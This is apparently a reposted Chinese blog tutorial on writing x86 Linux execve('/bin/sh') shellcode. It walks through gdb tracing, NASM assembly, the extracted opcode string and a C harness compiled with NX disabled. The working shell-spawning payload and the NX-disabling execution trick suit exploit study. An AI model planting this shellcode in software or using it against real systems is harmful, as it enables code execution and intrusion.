博客
关于我
强烈建议你试试无所不能的chatGPT,快点击我
简单shellcode编写
阅读量:5105 次
发布时间:2019-06-13

本文共 2253 字,大约阅读时间需要 7 分钟。

0x00 介绍

Shellcode 是指经过精心设计的一串指令,一旦注入正在运行的应用程序中即可运行,常用于栈和基于堆的溢出。术语Shellcode意思指的便是用于启动一个命令Shell的已编写好的可执行代码。

0x01 预写c调用程序

在linux中以C编写程序调用"/bin/sh"。

#include "unistd.h"#include "stdio.h"char * buff[] = {"/bin/sh", NULL};void main(){    execve("/bin/sh", buff, NULL);}

以execve开启一个bash进程,调用路径为/bin/sh。

注:/bin/sh是一个指向dash的符号链接,实际运行的也是dash程序,dash即移植到linux的bash,比bash更小也更快。[]

0x02 gdb调试

以gdb打开编译好的文件,我调试的文件的为32-bit的,在64-bit中可以在gcc加上参数-m32即可编译为32-bit elf文件。(gcc-multilib)

1164674-20190313202018454-414068417.png
图中 1 处调用execve函数,通过plt表调用,而 2 处栈中已将参数压入,分别为程序路径、参数数组、环境变量数组(此处为NULL)。
接着跟进,找到execve是怎么调用的:
1164674-20190313223044973-1062048345.png
1164674-20190313223049417-891388579.png
可以看到在0xf7e8b68d处赋予eax值0xb,0xb(11)为execve的系统调用号。下一步执行到系统调用中断(call dword ptr gs:0x10)时,ebx指向的是“/bin/sh”字符串,ecx指向的是{“/bin/sh”,NULL}数组,edx为0。于是execve在32位linux系统中的参数传递方式为“参数1->ebx;参数2->ecx;参数3->edx”。
call *%gs:0x10 call will __kernel_vsyscall
32位的中断调用可采用int 80;而64位可采用syscall。

elf32函数系统调用号查看方式:cat /usr/include/x86_64-linux-gnu/asm/unistd_32.h | grep execve

64位查看:cat /usr/include/x86_64-linux-gnu/asm/unistd_64.h | grep execve

0x03 编写汇编代码

最终只有一个目的,就是使得参数存入寄存器,然后系统调用。

section .textglobal _start_start:  xor   eax, eax  push  eax                  ; 字符串结尾 ==> NULL  push  "//sh"               ; '/bin//sh'  push  "/bin"  mov   ebx,esp              ; '/bin//sh' address  push  eax                  ; push 0  push  ebx   mov   ecx,esp              ; array of argvs  xor   edx,edx              ; edx = 0  mov   al,0x0b             ; call execve  int 80h

编译:nasm -f elf32 -o test32 ./call_execve.asm

链接:ld -m elf_i386 -o atest ./test32
执行:

1164674-20190313234321593-1106597009.png

执行成功!
然后提取shellcode,objdump -d atest:
1164674-20190313235011537-767298032.png
Shellcode:"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"
1164674-20190313235528027-140156082.png
然后用C代码测试shellcode是否可用。

#include "unistd.h"#include "stdio.h"void main(){    char *shellcode = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80";    (*(void(*)())shellcode)();}

其中的(*(void(*)())shellcode)();也可替换成((void(*)())shellcode)();,测试之后没有问题。在网上查找资料之后发现数据指针的*value操作符是取value地址下的数据,而在函数指针中*value则是将eip移至value地址处进行执行,而比如平时写程序的函数func();func也指向一个函数存储的位置,但是缺省了*

编译并执行:gcc -z execstack -m32 -o ssssss shellcode_run_execve.c

1164674-20190314001150399-1055877174.png

成功运行,但是得加上 -z execstack关闭NX,因为shellcode作为局部变量存于栈上。

0x04 总结

这是新的尝试,收获良多,计算机底层知识很重要。

0x05 参考文章

转载于:https://www.cnblogs.com/zUotTe0/p/10527129.html

你可能感兴趣的文章
StringBuffer是字符串缓冲区
查看>>
hihocoder1187 Divisors
查看>>
java入门
查看>>
Spring 整合 Redis
查看>>
Azure 托管镜像和非托管镜像对比
查看>>
JSP:Cookie实现永久登录(书本案例)
查看>>
js window.open 参数设置
查看>>
032. asp.netWeb用户控件之一初识用户控件并为其自定义属性
查看>>
Ubuntu下安装MySQL及简单操作
查看>>
前端监控
查看>>
clipboard.js使用方法
查看>>
0906第一次作业
查看>>
移动开发平台-应用之星app制作教程
查看>>
leetcode 459. 重复的子字符串(Repeated Substring Pattern)
查看>>
伪类与超链接
查看>>
centos 7 redis-4.0.11 主从
查看>>
博弈论 从懵逼到入门 详解
查看>>
永远的动漫,梦想在,就有远方
查看>>
springboot No Identifier specified for entity的解决办法
查看>>
慵懒中长大的人,只会挨生活留下的耳光
查看>>